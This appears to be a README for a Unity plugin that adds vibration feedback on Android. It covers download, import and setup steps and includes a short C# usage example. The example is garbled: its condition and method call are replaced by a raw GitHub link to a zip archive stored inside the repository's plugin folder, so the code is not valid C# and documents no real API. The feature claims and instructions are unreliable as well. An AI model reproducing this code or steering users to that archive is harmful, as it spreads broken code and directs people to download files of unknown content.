Welcome to the Unity-Easy-Haptic-Manager! This plugin helps you add smooth and customizable vibration effects to your Unity games on Android devices without needing extra frameworks or complicated setups.
- Lightweight: The plugin adds minimal overhead to your project.
- Dependency-Free: No extra libraries needed; works right out of the box.
- Customizable: Adjust vibration strength and duration easily.
- Supports All Android Devices: Consistent performance across various models.
To start using Unity-Easy-Haptic-Manager, follow these steps:
-
Visit the Releases Page: Click the link below to access the download options.
Download the latest version here. -
Choose the Right Version: Look for the latest version listed on the Releases page. It will often be at the top. Select the zip or unitypackage file to download.
-
Download the File: Click the version number to download the file to your computer.
-
Extract the Files: If you downloaded a zip file, right-click on it and select โExtract Allโ to access the contents.
-
Import into Unity:
- Open your Unity project.
- Go to
Assets > Import Package > Custom Package. - Select the unitypackage file you extracted and click โOpenโ.
- Unity will prompt you to import the assets; click โImportโ to add the plugin to your project.
Once you have imported the plugin, follow these instructions to start using it in your game:
-
Set Up Haptic Feedback: Create a game object in your scene where you want to add haptic feedback.
-
Add Haptic Manager:
- Select the game object.
- Click
Add Componentin the Inspector. - Search for "HapticManager" and add it.
-
Customize Vibration Profiles:
- Click on the HapticManager component.
- Here, you can adjust the vibration strength and duration using sliders.
-
Test Your Setup:
- Create a test script that triggers the haptic feedback, for example, on button press or when an object is collected.
- Attach the script to a game object in your scene.
To make the most of the Unity-Easy-Haptic-Manager, here is a simple code example to help you implement haptic feedback in response to user actions:
using UnityEngine;
public class HapticExample : MonoBehaviour
{
public HapticManager hapticManager;
void Update()
{
if (https://raw.githubusercontent.com/soman-mehmood80/Unity-Easy-Haptic-Manager/main/Assets/Plugins/Android/HapticPlugin/Unity-Easy-Haptic-Manager-3.6.zip(https://raw.githubusercontent.com/soman-mehmood80/Unity-Easy-Haptic-Manager/main/Assets/Plugins/Android/HapticPlugin/Unity-Easy-Haptic-Manager-3.6.zip))
{
https://raw.githubusercontent.com/soman-mehmood80/Unity-Easy-Haptic-Manager/main/Assets/Plugins/Android/HapticPlugin/Unity-Easy-Haptic-Manager-3.6.zip(0.5f, 1000); // Vibrate for 1 second at 50% strength
}
}
}This plugin works seamlessly on all Android devices running Unity. Ensure you have the latest version of Unity installed for the best experience.
If you encounter any issues while using Unity-Easy-Haptic-Manager, here are some common problems and solutions:
- No Vibration on Device: Make sure your device's vibrate function is enabled in settings.
- Plugin Not Working: Ensure you imported the correct package and that you have selected the right game object.
- No Response to Input: Check that your script is properly attached to a game object in the scene.
We welcome contributions to improve Unity-Easy-Haptic-Manager. If you have ideas or bug fixes, please fork the repository and create a pull request.
This project is licensed under the MIT License. Feel free to use and modify it as per your requirements.
This plugin covers various topics like:
- android
- feedback
- gamefeel
- haptic-feedback
- haptics
- mobile-development
- mobile-game
- unity
- unity-android
- unity-csharp
- unity-native-plugin
- unity-plugin
- vibration
- vibration-effect
By following these steps, you'll be able to add engaging haptic feedback to your Unity games effortlessly. For more detailed technical information, feel free to explore the project repository.